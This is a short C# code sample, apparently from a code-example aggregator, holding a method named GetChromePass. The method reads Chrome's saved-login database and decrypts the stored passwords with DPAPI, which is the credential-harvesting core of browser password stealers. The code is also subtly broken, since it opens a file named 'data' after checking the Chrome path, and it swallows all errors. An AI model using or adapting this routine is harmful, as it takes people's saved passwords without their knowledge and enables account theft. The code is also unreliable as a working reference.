Пример #1
0
        private List <string[]> GetChromePass()
        {
            List <string[]> entries     = new List <string[]>();
            string          retMessage  = String.Empty;
            string          appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            string          connPath    = appDataPath + "\\Google\\Chrome\\User Data\\Default\\Login Data";

            if (File.Exists(connPath))
            {
                DataTable dt = new DataTable();
                try
                {
                    SQLiteConnection connection = new SQLiteConnection("Data Source=data" + ";New=True;UseUTF16Encoding=True");
                    connection.Open();
                    SQLiteCommand command = new SQLiteCommand(connection);
                    command.CommandText = "SELECT origin_url, username_value, password_value FROM logins";
                    SQLiteDataReader reader = command.ExecuteReader();
                    dt.Load(reader);
                    reader.Close();
                    connection.Close();
                    connection = null;
                }
                catch { }
                foreach (DataRow table in dt.Rows)
                {
                    string name = (string)table["username_value"];
                    if (!String.IsNullOrEmpty(name))
                    {
                        try
                        {
                            string[] entry = new string[3];
                            entry[0] = (string)table["origin_url"];
                            entry[1] = name;
                            entry[2] = Encoding.ASCII.GetString(DPAPI.decrypt((byte[])table["password_value"]));
                            entries.Add(entry);
                        }
                        catch { }
                    }
                }
            }
            return(entries);
        }